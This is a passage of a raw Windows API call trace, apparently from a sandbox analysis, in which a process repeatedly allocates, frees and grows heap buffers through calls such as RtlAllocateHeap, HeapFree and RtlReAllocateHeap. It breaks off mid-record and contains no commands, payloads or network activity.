[0068.321] GetProcessHeap () returned 0x630000 [0068.321] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x663780, Size=0x8b) returned 0x6632c0 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.321] GetProcessHeap () returned 0x630000 [0068.321] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1028 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6632c0, Size=0x8d) returned 0x663cd8 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1070 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f68 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f98 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1070 | out: hHeap=0x630000) returned 1 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x663cd8, Size=0x8f) returned 0x663d70 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1058 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x663d70, Size=0x91) returned 0x649458 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.322] GetProcessHeap () returned 0x630000 [0068.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0068.322] GetProcessHeap () returned 0x630000 [0068.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b10d0 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x93) returned 0x649458 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1070 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b10a0 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1070 | out: hHeap=0x630000) returned 1 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x95) returned 0x649458 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1028 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ed8 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x97) returned 0x649458 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.323] GetProcessHeap () returned 0x630000 [0068.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.323] GetProcessHeap () returned 0x630000 [0068.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ef0 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x99) returned 0x649458 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1028 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0fe0 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x9b) returned 0x649458 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f68 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x9d) returned 0x649458 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.324] GetProcessHeap () returned 0x630000 [0068.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1010 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x9f) returned 0x649458 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f68 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa1) returned 0x649458 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f50 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa3) returned 0x649458 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1028 [0068.325] GetProcessHeap () returned 0x630000 [0068.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1010 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa5) returned 0x649458 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f50 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa7) returned 0x649458 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0e90 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa9) returned 0x685f30 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10b8 [0068.326] GetProcessHeap () returned 0x630000 [0068.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ea8 [0068.327] GetProcessHeap () returned 0x630000 [0068.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.327] GetProcessHeap () returned 0x630000 [0068.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10b8 | out: hHeap=0x630000) returned 1 [0068.327] GetProcessHeap () returned 0x630000 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xab) returned 0x685f30 [0068.327] GetProcessHeap () returned 0x630000 [0068.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.327] GetProcessHeap () returned 0x630000 [0068.327] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f68 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xad) returned 0x685f30 [0068.327] GetProcessHeap () returned 0x630000 [0068.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0068.327] GetProcessHeap () returned 0x630000 [0068.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb1) returned 0x685f30 [0068.327] GetProcessHeap () returned 0x630000 [0068.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb3) returned 0x685f30 [0068.327] GetProcessHeap () returned 0x630000 [0068.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0068.327] GetProcessHeap () returned 0x630000 [0068.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb7) returned 0x685f30 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb9) returned 0x685f30 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbb) returned 0x685f30 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbd) returned 0x685f30 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbf) returned 0x685f30 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xc1) returned 0x685f30 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xc3) returned 0x685f30 [0068.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xc5) returned 0x685f30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xc7) returned 0x685f30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xc9) returned 0x685f30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xcb) returned 0x685f30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xcd) returned 0x685f30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xcf) returned 0x685f30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xd1) returned 0x685f30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xd3) returned 0x685f30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xd5) returned 0x685f30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xd7) returned 0x685f30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xd9) returned 0x67f7b8 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67f7b8, Size=0xdb) returned 0x67f7b8 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67f7b8, Size=0xdd) returned 0x67f7b8 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67f7b8, Size=0xdf) returned 0x67f7b8 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67f7b8, Size=0xe1) returned 0x67f7b8 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67f7b8, Size=0xe3) returned 0x67f7b8 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67f7b8, Size=0xe5) returned 0x67f7b8 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67f7b8, Size=0xe7) returned 0x67f7b8 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67f7b8, Size=0xe9) returned 0x67bc30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67bc30, Size=0xeb) returned 0x67bc30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67bc30, Size=0xed) returned 0x67bc30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67bc30, Size=0xef) returned 0x67bc30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67bc30, Size=0xf1) returned 0x67bc30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67bc30, Size=0xf3) returned 0x67bc30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67bc30, Size=0xf5) returned 0x67bc30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67bc30, Size=0xf7) returned 0x67bc30 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x67bc30, Size=0xf9) returned 0x683548 [0068.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0xfb) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0xfd) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0xff) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x101) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x103) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x105) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x107) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x109) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x10b) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x10d) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x10f) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x111) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x113) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x115) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x117) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x119) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x11b) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x11d) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x11f) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x121) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x123) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x125) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x127) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x129) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x12b) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x12d) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x12f) returned 0x683548 [0068.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x131) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x133) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x135) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x137) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x139) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x13b) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x13d) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x13f) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x141) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x143) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x145) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x147) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x149) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x14b) returned 0x683548 [0068.330] 